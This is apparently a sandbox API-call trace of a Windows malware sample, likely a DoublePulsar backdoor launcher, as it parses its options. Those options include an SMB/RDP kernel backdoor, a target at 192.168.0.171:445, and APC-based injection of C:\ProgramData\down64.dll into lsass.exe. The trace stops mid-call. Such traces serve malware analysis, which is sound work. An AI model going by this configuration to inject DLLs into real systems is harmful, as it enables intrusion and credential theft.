[0125.340] malloc (_Size=0xc) returned 0x10bfe20 [0125.340] strlen (_Str="S16") returned 0x3 [0125.340] calloc (_Count=0x4, _Size=0x1) returned 0xfaaa28 [0125.340] _mbscpy (in: param_1=0xfaaa28, param_2=0xfaac68 | out: param_1=0xfaaa28) returned 0xfaaa28 [0125.340] malloc (_Size=0x30) returned 0xfac990 [0125.340] malloc (_Size=0x5) returned 0xfaaa18 [0125.340] strlen (_Str="Scalar") returned 0x6 [0125.340] calloc (_Count=0x7, _Size=0x1) returned 0xfaa9e8 [0125.340] _mbscpy (in: param_1=0xfaa9e8, param_2=0xfaac78 | out: param_1=0xfaa9e8) returned 0xfaa9e8 [0125.340] malloc (_Size=0x30) returned 0xfac958 [0125.340] malloc (_Size=0x7) returned 0xfaa9f8 [0125.340] strlen (_Str="60") returned 0x2 [0125.340] calloc (_Count=0x3, _Size=0x1) returned 0xfaa998 [0125.341] malloc (_Size=0x3c) returned 0xfac070 [0125.341] malloc (_Size=0x8) returned 0xfaa988 [0125.341] sprintf (in: _Dest=0x10bfe38, _Format="%d" | out: _Dest="60") returned 2 [0125.341] malloc (_Size=0x30) returned 0xfac7d0 [0125.341] malloc (_Size=0x6) returned 0xfaa968 [0125.341] strlen (_Str="60") returned 0x2 [0125.341] calloc (_Count=0x3, _Size=0x1) returned 0xfaa948 [0125.341] malloc (_Size=0x3c) returned 0xfabde8 [0125.341] malloc (_Size=0x6) returned 0xfaac08 [0125.341] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.341] malloc (_Size=0x3c) returned 0xfabfe0 [0125.341] malloc (_Size=0xa) returned 0x10bfe38 [0125.341] strlen (_Str="TargetIp") returned 0x8 [0125.341] calloc (_Count=0x9, _Size=0x1) returned 0x10bfd60 [0125.341] _mbscpy (in: param_1=0x10bfd60, param_2=0xfad240 | out: param_1=0x10bfd60) returned 0x10bfd60 [0125.341] malloc (_Size=0x30) returned 0xfac798 [0125.341] malloc (_Size=0x5) returned 0xfaaa28 [0125.341] strlen (_Str="Target IP Address") returned 0x11 [0125.341] calloc (_Count=0x12, _Size=0x1) returned 0xfa8760 [0125.341] _mbscpy (in: param_1=0xfa8760, param_2=0xfa8800 | out: param_1=0xfa8760) returned 0xfa8760 [0125.341] malloc (_Size=0x30) returned 0xfac8b0 [0125.341] malloc (_Size=0xc) returned 0x10bfe08 [0125.341] strlen (_Str="IPv4") returned 0x4 [0125.341] calloc (_Count=0x5, _Size=0x1) returned 0xfaa9e8 [0125.341] _mbscpy (in: param_1=0xfaa9e8, param_2=0xfaaca8 | out: param_1=0xfaa9e8) returned 0xfaa9e8 [0125.341] malloc (_Size=0x30) returned 0xfac878 [0125.341] malloc (_Size=0x5) returned 0xfaa998 [0125.341] strlen (_Str="Scalar") returned 0x6 [0125.341] calloc (_Count=0x7, _Size=0x1) returned 0xfa2330 [0125.341] _mbscpy (in: param_1=0xfa2330, param_2=0xfaacb8 | out: param_1=0xfa2330) returned 0xfa2330 [0125.341] malloc (_Size=0x30) returned 0xfac840 [0125.342] malloc (_Size=0x7) returned 0xfa2340 [0125.342] strlen (_Str="192.168.0.171") returned 0xd [0125.342] calloc (_Count=0xe, _Size=0x1) returned 0x10bfdc0 [0125.342] malloc (_Size=0x30) returned 0xfac808 [0125.342] malloc (_Size=0x6) returned 0xfa2360 [0125.342] strlen (_Str="192.168.0.171") returned 0xd [0125.342] calloc (_Count=0xe, _Size=0x1) returned 0x10bfdd8 [0125.342] malloc (_Size=0x3c) returned 0xfabe30 [0125.342] malloc (_Size=0x6) returned 0xfa2380 [0125.342] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.342] malloc (_Size=0x3c) returned 0xfaba40 [0125.342] malloc (_Size=0xa) returned 0x10bfdc0 [0125.342] strlen (_Str="TargetPort") returned 0xa [0125.342] calloc (_Count=0xb, _Size=0x1) returned 0x10bfd60 [0125.342] _mbscpy (in: param_1=0x10bfd60, param_2=0xfad2a0 | out: param_1=0x10bfd60) returned 0x10bfd60 [0125.342] malloc (_Size=0x30) returned 0xfac760 [0125.342] malloc (_Size=0x5) returned 0xfaa9e8 [0125.342] strlen (_Str="Port used by the Double Pulsar back door") returned 0x28 [0125.342] calloc (_Count=0x29, _Size=0x1) returned 0xfac728 [0125.342] _mbscpy (in: param_1=0xfac728, param_2=0xfacbf8 | out: param_1=0xfac728) returned 0xfac728 [0125.342] malloc (_Size=0x30) returned 0xfacb88 [0125.342] malloc (_Size=0xc) returned 0x10bfda8 [0125.342] strlen (_Str="TcpPort") returned 0x7 [0125.342] calloc (_Count=0x8, _Size=0x1) returned 0xfa2330 [0125.342] _mbscpy (in: param_1=0xfa2330, param_2=0xfaabe8 | out: param_1=0xfa2330) returned 0xfa2330 [0125.342] malloc (_Size=0x30) returned 0xfacca0 [0125.342] malloc (_Size=0x5) returned 0xfa2390 [0125.342] strlen (_Str="Scalar") returned 0x6 [0125.342] calloc (_Count=0x7, _Size=0x1) returned 0xfa23b0 [0125.342] _mbscpy (in: param_1=0xfa23b0, param_2=0xfaacd8 | out: param_1=0xfa23b0) returned 0xfa23b0 [0125.342] malloc (_Size=0x30) returned 0xfaccd8 [0125.343] malloc (_Size=0x7) returned 0xfa23c0 [0125.343] strlen (_Str="445") returned 0x3 [0125.343] calloc (_Count=0x4, _Size=0x1) returned 0xfa23e0 [0125.343] malloc (_Size=0x3c) returned 0xfabc80 [0125.343] malloc (_Size=0x8) returned 0xfa23f0 [0125.343] sprintf (in: _Dest=0x10bfd90, _Format="%u" | out: _Dest="445") returned 3 [0125.343] malloc (_Size=0x30) returned 0xfacd10 [0125.343] malloc (_Size=0x6) returned 0xfa2410 [0125.343] strlen (_Str="445") returned 0x3 [0125.343] calloc (_Count=0x4, _Size=0x1) returned 0xfa2430 [0125.343] malloc (_Size=0x3c) returned 0xfabba8 [0125.343] malloc (_Size=0x6) returned 0xfa2440 [0125.343] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.343] malloc (_Size=0x3c) returned 0xfab9f8 [0125.343] malloc (_Size=0xa) returned 0x10bfd90 [0125.343] strlen (_Str="LogFile") returned 0x7 [0125.343] calloc (_Count=0x8, _Size=0x1) returned 0xfa2330 [0125.343] _mbscpy (in: param_1=0xfa2330, param_2=0xfaabd8 | out: param_1=0xfa2330) returned 0xfa2330 [0125.343] malloc (_Size=0x30) returned 0xfac728 [0125.343] malloc (_Size=0x5) returned 0xfa23b0 [0125.343] strlen (_Str="Where to write log file") returned 0x17 [0125.343] calloc (_Count=0x18, _Size=0x1) returned 0xfa8760 [0125.343] _mbscpy (in: param_1=0xfa8760, param_2=0xfa87c0 | out: param_1=0xfa8760) returned 0xfa8760 [0125.343] malloc (_Size=0x30) returned 0xfacd48 [0125.343] malloc (_Size=0xc) returned 0x10bfd60 [0125.343] strlen (_Str="String") returned 0x6 [0125.343] calloc (_Count=0x7, _Size=0x1) returned 0xfa2430 [0125.343] _mbscpy (in: param_1=0xfa2430, param_2=0xfaabc8 | out: param_1=0xfa2430) returned 0xfa2430 [0125.343] malloc (_Size=0x30) returned 0xfacd80 [0125.344] malloc (_Size=0x5) returned 0xfa2460 [0125.344] strlen (_Str="Scalar") returned 0x6 [0125.344] calloc (_Count=0x7, _Size=0x1) returned 0xfa2480 [0125.344] _mbscpy (in: param_1=0xfa2480, param_2=0xfaab98 | out: param_1=0xfa2480) returned 0xfa2480 [0125.344] malloc (_Size=0x30) returned 0xfacdb8 [0125.344] malloc (_Size=0x7) returned 0xfa2490 [0125.344] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.344] malloc (_Size=0x3c) returned 0xfab968 [0125.344] malloc (_Size=0xa) returned 0x10bfd00 [0125.344] strlen (_Str="OutConfig") returned 0x9 [0125.344] calloc (_Count=0xa, _Size=0x1) returned 0x10bfce8 [0125.344] _mbscpy (in: param_1=0x10bfce8, param_2=0xfad288 | out: param_1=0x10bfce8) returned 0x10bfce8 [0125.344] malloc (_Size=0x30) returned 0xface28 [0125.344] malloc (_Size=0x5) returned 0xfa2430 [0125.344] strlen (_Str="Where to write output parameters file") returned 0x25 [0125.344] calloc (_Count=0x26, _Size=0x1) returned 0xfa1a10 [0125.344] _mbscpy (in: param_1=0xfa1a10, param_2=0xfa1980 | out: param_1=0xfa1a10) returned 0xfa1a10 [0125.344] malloc (_Size=0x30) returned 0xface60 [0125.344] malloc (_Size=0xc) returned 0x10bfd30 [0125.344] strlen (_Str="String") returned 0x6 [0125.344] calloc (_Count=0x7, _Size=0x1) returned 0xfa2330 [0125.344] _mbscpy (in: param_1=0xfa2330, param_2=0xfaaba8 | out: param_1=0xfa2330) returned 0xfa2330 [0125.344] malloc (_Size=0x30) returned 0xface98 [0125.344] malloc (_Size=0x5) returned 0xfa2480 [0125.344] strlen (_Str="Scalar") returned 0x6 [0125.344] calloc (_Count=0x7, _Size=0x1) returned 0xfa24d0 [0125.344] _mbscpy (in: param_1=0xfa24d0, param_2=0xfaab88 | out: param_1=0xfa24d0) returned 0xfa24d0 [0125.344] malloc (_Size=0x30) returned 0xfaced0 [0125.344] malloc (_Size=0x7) returned 0xfa24e0 [0125.344] strlen (_Str="stdout") returned 0x6 [0125.344] calloc (_Count=0x7, _Size=0x1) returned 0xfa2500 [0125.345] malloc (_Size=0x3c) returned 0xfac418 [0125.345] malloc (_Size=0x8) returned 0xfa2510 [0125.345] strlen (_Str="a") returned 0x1 [0125.345] calloc (_Count=0x2, _Size=0x1) returned 0xfadb08 [0125.345] malloc (_Size=0x30) returned 0xfa8ca0 [0125.345] malloc (_Size=0x6) returned 0xfa94f0 [0125.345] strlen (_Str="a") returned 0x1 [0125.345] calloc (_Count=0x2, _Size=0x1) returned 0xfa9510 [0125.345] malloc (_Size=0x3c) returned 0xfac580 [0125.345] malloc (_Size=0x6) returned 0xfa9520 [0125.345] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.345] malloc (_Size=0x3c) returned 0xfac610 [0125.345] malloc (_Size=0xa) returned 0x10bfce8 [0125.345] strlen (_Str="ValidateOnly") returned 0xc [0125.345] calloc (_Count=0xd, _Size=0x1) returned 0x10bfd18 [0125.345] _mbscpy (in: param_1=0x10bfd18, param_2=0xfad198 | out: param_1=0x10bfd18) returned 0x10bfd18 [0125.345] malloc (_Size=0x30) returned 0xfa8cd8 [0125.345] malloc (_Size=0x5) returned 0xfadb08 [0125.345] strlen (_Str="Stop execution after parameter validation") returned 0x29 [0125.345] calloc (_Count=0x2a, _Size=0x1) returned 0xfa8d10 [0125.345] _mbscpy (in: param_1=0xfa8d10, param_2=0xfacb50 | out: param_1=0xfa8d10) returned 0xfa8d10 [0125.345] malloc (_Size=0x30) returned 0xfa8d48 [0125.345] malloc (_Size=0xc) returned 0x10bfc58 [0125.345] strlen (_Str="Boolean") returned 0x7 [0125.345] calloc (_Count=0x8, _Size=0x1) returned 0xfa9510 [0125.345] _mbscpy (in: param_1=0xfa9510, param_2=0xfaab18 | out: param_1=0xfa9510) returned 0xfa9510 [0125.345] malloc (_Size=0x30) returned 0xfa8db8 [0125.345] malloc (_Size=0x5) returned 0xfa9540 [0125.345] strlen (_Str="Scalar") returned 0x6 [0125.345] calloc (_Count=0x7, _Size=0x1) returned 0xfa9560 [0125.346] _mbscpy (in: param_1=0xfa9560, param_2=0xfaab58 | out: param_1=0xfa9560) returned 0xfa9560 [0125.346] malloc (_Size=0x30) returned 0xfa8df0 [0125.346] malloc (_Size=0x7) returned 0xfa9570 [0125.346] strlen (_Str="false") returned 0x5 [0125.346] calloc (_Count=0x6, _Size=0x1) returned 0xfa9590 [0125.346] malloc (_Size=0x3c) returned 0xfa7310 [0125.346] malloc (_Size=0x8) returned 0xfa95a0 [0125.346] strlen (_Str="false") returned 0x5 [0125.346] calloc (_Count=0x6, _Size=0x1) returned 0xfa95c0 [0125.346] _mbscpy (in: param_1=0xfa95c0, param_2=0x14c150 | out: param_1=0xfa95c0) returned 0xfa95c0 [0125.346] malloc (_Size=0x30) returned 0xfa8e28 [0125.346] malloc (_Size=0x6) returned 0xfa95d0 [0125.346] strlen (_Str="false") returned 0x5 [0125.346] calloc (_Count=0x6, _Size=0x1) returned 0xfa95f0 [0125.346] malloc (_Size=0x3c) returned 0xfa73e8 [0125.346] malloc (_Size=0x6) returned 0xfa9600 [0125.346] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.346] malloc (_Size=0x3c) returned 0xfa7478 [0125.346] malloc (_Size=0xc) returned 0x10bfd18 [0125.346] strlen (_Str="Protocol") returned 0x8 [0125.346] calloc (_Count=0x9, _Size=0x1) returned 0x10bfc88 [0125.346] _mbscpy (in: param_1=0x10bfc88, param_2=0xfad2e8 | out: param_1=0x10bfc88) returned 0x10bfc88 [0125.346] malloc (_Size=0x30) returned 0xfa8d10 [0125.346] malloc (_Size=0x5) returned 0xfa95c0 [0125.346] strlen (_Str="Protocol for the backdoor to speak") returned 0x22 [0125.346] calloc (_Count=0x23, _Size=0x1) returned 0xfa1a10 [0125.346] _mbscpy (in: param_1=0xfa1a10, param_2=0xfa46a0 | out: param_1=0xfa1a10) returned 0xfa1a10 [0125.346] malloc (_Size=0x30) returned 0xfa8e60 [0125.346] malloc (_Size=0xc) returned 0x10bfc40 [0125.346] strlen (_Str="SMB") returned 0x3 [0125.346] calloc (_Count=0x4, _Size=0x1) returned 0xfa9510 [0125.347] malloc (_Size=0x3c) returned 0xfa7550 [0125.347] malloc (_Size=0x8) returned 0xfa9560 [0125.347] strlen (_Str="SMB") returned 0x3 [0125.347] calloc (_Count=0x4, _Size=0x1) returned 0xfa95f0 [0125.347] malloc (_Size=0x3c) returned 0xfa75e0 [0125.347] malloc (_Size=0x6) returned 0xfa9620 [0125.347] strlen (_Str="SMB") returned 0x3 [0125.347] calloc (_Count=0x4, _Size=0x1) returned 0xfa9640 [0125.347] _mbscpy (in: param_1=0xfa9640, param_2=0xfad778 | out: param_1=0xfa9640) returned 0xfa9640 [0125.347] malloc (_Size=0x30) returned 0xfa8e98 [0125.347] malloc (_Size=0x5) returned 0xfa9650 [0125.347] strlen (_Str="Ring 0 SMB (TCP 445) backdoor") returned 0x1d [0125.347] calloc (_Count=0x1e, _Size=0x1) returned 0xfaae40 [0125.347] _mbscpy (in: param_1=0xfaae40, param_2=0xfaaf08 | out: param_1=0xfaae40) returned 0xfaae40 [0125.347] malloc (_Size=0x30) returned 0xfa8ed0 [0125.347] malloc (_Size=0xc) returned 0x10bfbf8 [0125.347] strlen (_Str="RDP") returned 0x3 [0125.347] calloc (_Count=0x4, _Size=0x1) returned 0xfa9640 [0125.347] _mbscpy (in: param_1=0xfa9640, param_2=0xfad7b8 | out: param_1=0xfa9640) returned 0xfa9640 [0125.347] malloc (_Size=0x30) returned 0xfa8f08 [0125.347] malloc (_Size=0x5) returned 0xfa9670 [0125.347] strlen (_Str="Ring 0 RDP (TCP 3389) backdoor") returned 0x1e [0125.347] calloc (_Count=0x1f, _Size=0x1) returned 0xfaae40 [0125.347] _mbscpy (in: param_1=0xfaae40, param_2=0xfaaf58 | out: param_1=0xfaae40) returned 0xfaae40 [0125.347] malloc (_Size=0x30) returned 0xfa8f40 [0125.347] malloc (_Size=0xc) returned 0x10bfc28 [0125.347] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.347] malloc (_Size=0x3c) returned 0xfa7820 [0125.347] malloc (_Size=0xc) returned 0x10bfc88 [0125.347] strlen (_Str="Architecture") returned 0xc [0125.348] calloc (_Count=0xd, _Size=0x1) returned 0x10bfc10 [0125.348] _mbscpy (in: param_1=0x10bfc10, param_2=0xfad3b8 | out: param_1=0x10bfc10) returned 0x10bfc10 [0125.348] malloc (_Size=0x30) returned 0xfa8f78 [0125.348] malloc (_Size=0x5) returned 0xfa95f0 [0125.348] strlen (_Str="Architecture of the target OS") returned 0x1d [0125.348] calloc (_Count=0x1e, _Size=0x1) returned 0xfaae40 [0125.348] _mbscpy (in: param_1=0xfaae40, param_2=0xfaaf80 | out: param_1=0xfaae40) returned 0xfaae40 [0125.348] malloc (_Size=0x30) returned 0xfa8fb0 [0125.348] malloc (_Size=0xc) returned 0xfad138 [0125.348] strlen (_Str="x86") returned 0x3 [0125.348] calloc (_Count=0x4, _Size=0x1) returned 0xfa9510 [0125.348] malloc (_Size=0x3c) returned 0xfa78f8 [0125.348] malloc (_Size=0x8) returned 0xfa9640 [0125.348] strlen (_Str="x64") returned 0x3 [0125.348] calloc (_Count=0x4, _Size=0x1) returned 0xfa96a0 [0125.348] malloc (_Size=0x3c) returned 0xfa7988 [0125.348] malloc (_Size=0x6) returned 0xfa96b0 [0125.348] strlen (_Str="x86") returned 0x3 [0125.348] calloc (_Count=0x4, _Size=0x1) returned 0xfa96d0 [0125.348] _mbscpy (in: param_1=0xfa96d0, param_2=0xfad828 | out: param_1=0xfa96d0) returned 0xfa96d0 [0125.348] malloc (_Size=0x30) returned 0xfa8fe8 [0125.348] malloc (_Size=0x5) returned 0xfa96e0 [0125.348] strlen (_Str="x86 32-bits") returned 0xb [0125.348] calloc (_Count=0xc, _Size=0x1) returned 0xfad108 [0125.348] _mbscpy (in: param_1=0xfad108, param_2=0xfad3e8 | out: param_1=0xfad108) returned 0xfad108 [0125.348] malloc (_Size=0x30) returned 0xfa9020 [0125.348] malloc (_Size=0xc) returned 0xfad0d8 [0125.348] strlen (_Str="x64") returned 0x3 [0125.348] calloc (_Count=0x4, _Size=0x1) returned 0xfa96d0 [0125.348] _mbscpy (in: param_1=0xfa96d0, param_2=0xfad868 | out: param_1=0xfa96d0) returned 0xfa96d0 [0125.348] malloc (_Size=0x30) returned 0xfa9058 [0125.348] malloc (_Size=0x5) returned 0xfa9700 [0125.349] strlen (_Str="x64 64-bits") returned 0xb [0125.349] calloc (_Count=0xc, _Size=0x1) returned 0xfad090 [0125.349] _mbscpy (in: param_1=0xfad090, param_2=0xfad418 | out: param_1=0xfad090) returned 0xfad090 [0125.349] malloc (_Size=0x30) returned 0xfa9090 [0125.349] malloc (_Size=0xc) returned 0xfad000 [0125.349] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.349] malloc (_Size=0x3c) returned 0xfa7bc8 [0125.349] malloc (_Size=0xc) returned 0x10bfc10 [0125.349] strlen (_Str="Function") returned 0x8 [0125.349] calloc (_Count=0x9, _Size=0x1) returned 0xfad090 [0125.349] _mbscpy (in: param_1=0xfad090, param_2=0xfad478 | out: param_1=0xfad090) returned 0xfad090 [0125.349] malloc (_Size=0x30) returned 0xfa90c8 [0125.349] malloc (_Size=0x5) returned 0xfa96a0 [0125.349] strlen (_Str="Operation for backdoor to perform") returned 0x21 [0125.349] calloc (_Count=0x22, _Size=0x1) returned 0xfa1a10 [0125.349] _mbscpy (in: param_1=0xfa1a10, param_2=0xfadb70 | out: param_1=0xfa1a10) returned 0xfa1a10 [0125.349] malloc (_Size=0x30) returned 0xfa9100 [0125.349] malloc (_Size=0xc) returned 0xfad078 [0125.349] strlen (_Str="OutputInstall") returned 0xd [0125.349] calloc (_Count=0xe, _Size=0x1) returned 0xfad048 [0125.349] malloc (_Size=0x3c) returned 0xfa7ca0 [0125.349] strlen (_Str="RunDLL") returned 0x6 [0125.349] calloc (_Count=0x7, _Size=0x1) returned 0xfa96d0 [0125.349] malloc (_Size=0x3c) returned 0xfa7d30 [0125.349] strlen (_Str="OutputInstall") returned 0xd [0125.349] calloc (_Count=0xe, _Size=0x1) returned 0xfacf70 [0125.349] _mbscpy (in: param_1=0xfacf70, param_2=0xfad4d8 | out: param_1=0xfacf70) returned 0xfacf70 [0125.349] malloc (_Size=0x30) returned 0xfa9138 [0125.349] strlen (_Str="Only output the install shellcode to a binary file on disk.") returned 0x3b [0125.349] calloc (_Count=0x3c, _Size=0x1) returned 0xfa7e50 [0125.349] _mbscpy (in: param_1=0xfa7e50, param_2=0xfac460 | out: param_1=0xfa7e50) returned 0xfa7e50 [0125.349] malloc (_Size=0x30) returned 0xfa9170 [0125.350] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.350] malloc (_Size=0x3c) returned 0xfa7f28 [0125.350] strlen (_Str="OutputFile") returned 0xa [0125.350] calloc (_Count=0xb, _Size=0x1) returned 0xfacfb8 [0125.350] _mbscpy (in: param_1=0xfacfb8, param_2=0xfad508 | out: param_1=0xfacfb8) returned 0xfacfb8 [0125.350] malloc (_Size=0x30) returned 0xfa91a8 [0125.350] strlen (_Str="Full path to the output file") returned 0x1c [0125.350] calloc (_Count=0x1d, _Size=0x1) returned 0xfaae40 [0125.350] _mbscpy (in: param_1=0xfaae40, param_2=0xfab020 | out: param_1=0xfaae40) returned 0xfaae40 [0125.350] malloc (_Size=0x30) returned 0xfa91e0 [0125.350] strlen (_Str="String") returned 0x6 [0125.350] calloc (_Count=0x7, _Size=0x1) returned 0xfa9760 [0125.350] _mbscpy (in: param_1=0xfa9760, param_2=0xfad8d8 | out: param_1=0xfa9760) returned 0xfa9760 [0125.350] malloc (_Size=0x30) returned 0xfa9218 [0125.350] strlen (_Str="Scalar") returned 0x6 [0125.350] calloc (_Count=0x7, _Size=0x1) returned 0xfa9790 [0125.350] _mbscpy (in: param_1=0xfa9790, param_2=0xfad8e8 | out: param_1=0xfa9790) returned 0xfa9790 [0125.350] malloc (_Size=0x30) returned 0xfa9250 [0125.350] strlen (_Str="Ping") returned 0x4 [0125.350] calloc (_Count=0x5, _Size=0x1) returned 0xfa9760 [0125.350] _mbscpy (in: param_1=0xfa9760, param_2=0xfad908 | out: param_1=0xfa9760) returned 0xfa9760 [0125.350] malloc (_Size=0x30) returned 0xfa9288 [0125.350] strlen (_Str="Test for presence of backdoor") returned 0x1d [0125.350] calloc (_Count=0x1e, _Size=0x1) returned 0xfaae40 [0125.350] _mbscpy (in: param_1=0xfaae40, param_2=0xfab070 | out: param_1=0xfaae40) returned 0xfaae40 [0125.350] malloc (_Size=0x30) returned 0xfa92c0 [0125.350] strlen (_Str="RunDLL") returned 0x6 [0125.350] calloc (_Count=0x7, _Size=0x1) returned 0xfa9760 [0125.350] _mbscpy (in: param_1=0xfa9760, param_2=0xfad818 | out: param_1=0xfa9760) returned 0xfa9760 [0125.350] malloc (_Size=0x30) returned 0xfa92f8 [0125.350] strlen (_Str="Use an APC to inject a DLL into a user mode process.") returned 0x34 [0125.350] calloc (_Count=0x35, _Size=0x1) returned 0xfa9488 [0125.350] _mbscpy (in: param_1=0xfa9488, param_2=0xfadba0 | out: param_1=0xfa9488) returned 0xfa9488 [0125.350] malloc (_Size=0x30) returned 0xfa9330 [0125.351] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.351] malloc (_Size=0x3c) returned 0xfa81f8 [0125.351] strlen (_Str="DllPayload") returned 0xa [0125.351] calloc (_Count=0xb, _Size=0x1) returned 0xfa1868 [0125.351] _mbscpy (in: param_1=0xfa1868, param_2=0xfad5b0 | out: param_1=0xfa1868) returned 0xfa1868 [0125.351] malloc (_Size=0x30) returned 0xfa9368 [0125.351] strlen (_Str="DLL to inject into user mode") returned 0x1c [0125.351] calloc (_Count=0x1d, _Size=0x1) returned 0xfaae40 [0125.351] _mbscpy (in: param_1=0xfaae40, param_2=0xfab0c0 | out: param_1=0xfaae40) returned 0xfaae40 [0125.351] malloc (_Size=0x30) returned 0xfa93a0 [0125.351] strlen (_Str="LocalFile") returned 0x9 [0125.351] calloc (_Count=0xa, _Size=0x1) returned 0xfa18b0 [0125.351] _mbscpy (in: param_1=0xfa18b0, param_2=0xfad5c8 | out: param_1=0xfa18b0) returned 0xfa18b0 [0125.351] malloc (_Size=0x30) returned 0xfa93d8 [0125.351] strlen (_Str="Scalar") returned 0x6 [0125.351] calloc (_Count=0x7, _Size=0x1) returned 0xfa9810 [0125.351] _mbscpy (in: param_1=0xfa9810, param_2=0xfad8a8 | out: param_1=0xfa9810) returned 0xfa9810 [0125.351] malloc (_Size=0x30) returned 0xfa9410 [0125.351] strlen (_Str="C:\\ProgramData\\down64.dll") returned 0x19 [0125.351] calloc (_Count=0x1a, _Size=0x1) returned 0xfab390 [0125.351] malloc (_Size=0x30) returned 0xfa9448 [0125.351] strlen (_Str="C:\\ProgramData\\down64.dll") returned 0x19 [0125.351] calloc (_Count=0x1a, _Size=0x1) returned 0xfab3b8 [0125.351] malloc (_Size=0x3c) returned 0xfa5488 [0125.351] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.351] malloc (_Size=0x3c) returned 0xfa5518 [0125.351] strlen (_Str="DllOrdinal") returned 0xa [0125.351] calloc (_Count=0xb, _Size=0x1) returned 0xfa1868 [0125.351] _mbscpy (in: param_1=0xfa1868, param_2=0xfad580 | out: param_1=0xfa1868) returned 0xfa1868 [0125.351] malloc (_Size=0x30) returned 0xfa64e8 [0125.351] strlen (_Str="The exported ordinal number of the DLL being injected to call") returned 0x3d [0125.352] calloc (_Count=0x3e, _Size=0x1) returned 0xfa55a8 [0125.352] _mbscpy (in: param_1=0xfa55a8, param_2=0xfac4a8 | out: param_1=0xfa55a8) returned 0xfa55a8 [0125.352] malloc (_Size=0x30) returned 0xfa6520 [0125.352] strlen (_Str="U32") returned 0x3 [0125.352] calloc (_Count=0x4, _Size=0x1) returned 0xfa9870 [0125.352] _mbscpy (in: param_1=0xfa9870, param_2=0xfad998 | out: param_1=0xfa9870) returned 0xfa9870 [0125.352] malloc (_Size=0x30) returned 0xfa6558 [0125.352] strlen (_Str="Scalar") returned 0x6 [0125.352] calloc (_Count=0x7, _Size=0x1) returned 0xfa98a0 [0125.352] _mbscpy (in: param_1=0xfa98a0, param_2=0xfad9a8 | out: param_1=0xfa98a0) returned 0xfa98a0 [0125.352] malloc (_Size=0x30) returned 0xfa6590 [0125.352] strlen (_Str="1") returned 0x1 [0125.352] calloc (_Count=0x2, _Size=0x1) returned 0xfa2330 [0125.352] malloc (_Size=0x3c) returned 0xfa5710 [0125.352] sprintf (in: _Dest=0xfa1910, _Format="%u" | out: _Dest="1") returned 1 [0125.352] malloc (_Size=0x30) returned 0xfa65c8 [0125.352] strlen (_Str="1") returned 0x1 [0125.352] calloc (_Count=0x2, _Size=0x1) returned 0xfa6ea0 [0125.352] malloc (_Size=0x3c) returned 0xfa57e8 [0125.352] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.352] malloc (_Size=0x3c) returned 0xfa55a8 [0125.352] strlen (_Str="ProcessName") returned 0xb [0125.352] calloc (_Count=0xc, _Size=0x1) returned 0xfa1868 [0125.352] _mbscpy (in: param_1=0xfa1868, param_2=0xfad658 | out: param_1=0xfa1868) returned 0xfa1868 [0125.352] malloc (_Size=0x30) returned 0xfa6600 [0125.352] strlen (_Str="Name of process to inject into") returned 0x1e [0125.352] calloc (_Count=0x1f, _Size=0x1) returned 0xfab390 [0125.352] _mbscpy (in: param_1=0xfab390, param_2=0xfab0e8 | out: param_1=0xfab390) returned 0xfab390 [0125.352] malloc (_Size=0x30) returned 0xfa6638 [0125.352] strlen (_Str="String") returned 0x6 [0125.352] calloc (_Count=0x7, _Size=0x1) returned 0xfa98a0 [0125.352] _mbscpy (in: param_1=0xfa98a0, param_2=0xfad958 | out: param_1=0xfa98a0) returned 0xfa98a0 [0125.352] malloc (_Size=0x30) returned 0xfa6670 [0125.352] strlen (_Str="Scalar") returned 0x6 [0125.353] calloc (_Count=0x7, _Size=0x1) returned 0xfa6ee0 [0125.353] _mbscpy (in: param_1=0xfa6ee0, param_2=0xfad9d8 | out: param_1=0xfa6ee0) returned 0xfa6ee0 [0125.353] malloc (_Size=0x30) returned 0xfa66a8 [0125.353] strlen (_Str="lsass.exe") returned 0x9 [0125.353] calloc (_Count=0xa, _Size=0x1) returned 0xfa4e30 [0125.353] malloc (_Size=0x3c) returned 0xfa5998 [0125.353] strlen (_Str="lsass.exe") returned 0x9 [0125.353] calloc (_Count=0xa, _Size=0x1) returned 0xfa4e60 [0125.353] malloc (_Size=0x30) returned 0xfa66e0 [0125.353] strlen (_Str="lsass.exe") returned 0x9 [0125.353] calloc (_Count=0xa, _Size=0x1) returned 0xfa4e78 [0125.353] malloc (_Size=0x3c) returned 0xfa5a70 [0125.353] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.353] malloc (_Size=0x3c) returned 0xfa5b00 [0125.353] strlen (_Str="ProcessCommandLine") returned 0x12 [0125.353] calloc (_Count=0x13, _Size=0x1) returned 0xfa8760 [0125.353] _mbscpy (in: param_1=0xfa8760, param_2=0xfa8820 | out: param_1=0xfa8760) returned 0xfa8760 [0125.353] malloc (_Size=0x30) returned 0xfa6718 [0125.353] strlen (_Str="Command line of process to inject into") returned 0x26 [0125.353] calloc (_Count=0x27, _Size=0x1) returned 0xfa1aa0 [0125.353] _mbscpy (in: param_1=0xfa1aa0, param_2=0xfadd70 | out: param_1=0xfa1aa0) returned 0xfa1aa0 [0125.353] malloc (_Size=0x30) returned 0xfa6750 [0125.353] strlen (_Str="String") returned 0x6 [0125.353] calloc (_Count=0x7, _Size=0x1) returned 0xfa6ee0 [0125.353] _mbscpy (in: param_1=0xfa6ee0, param_2=0xfad9f8 | out: param_1=0xfa6ee0) returned 0xfa6ee0 [0125.353] malloc (_Size=0x30) returned 0xfa6788 [0125.353] strlen (_Str="Scalar") returned 0x6 [0125.353] calloc (_Count=0x7, _Size=0x1) returned 0xfa6f70 [0125.353] _mbscpy (in: param_1=0xfa6f70, param_2=0xfada08 | out: param_1=0xfa6f70) returned 0xfa6f70 [0125.353] malloc (_Size=0x30) returned 0xfa67c0 [0125.353] strlen (_Str="") returned 0x0 [0125.353] calloc (_Count=0x1, _Size=0x1) returned 0xfa6fa0 [0125.353] malloc (_Size=0x3c) returned 0xfa5c68 [0125.353] strlen (_Str="") returned 0x0 [0125.353] calloc 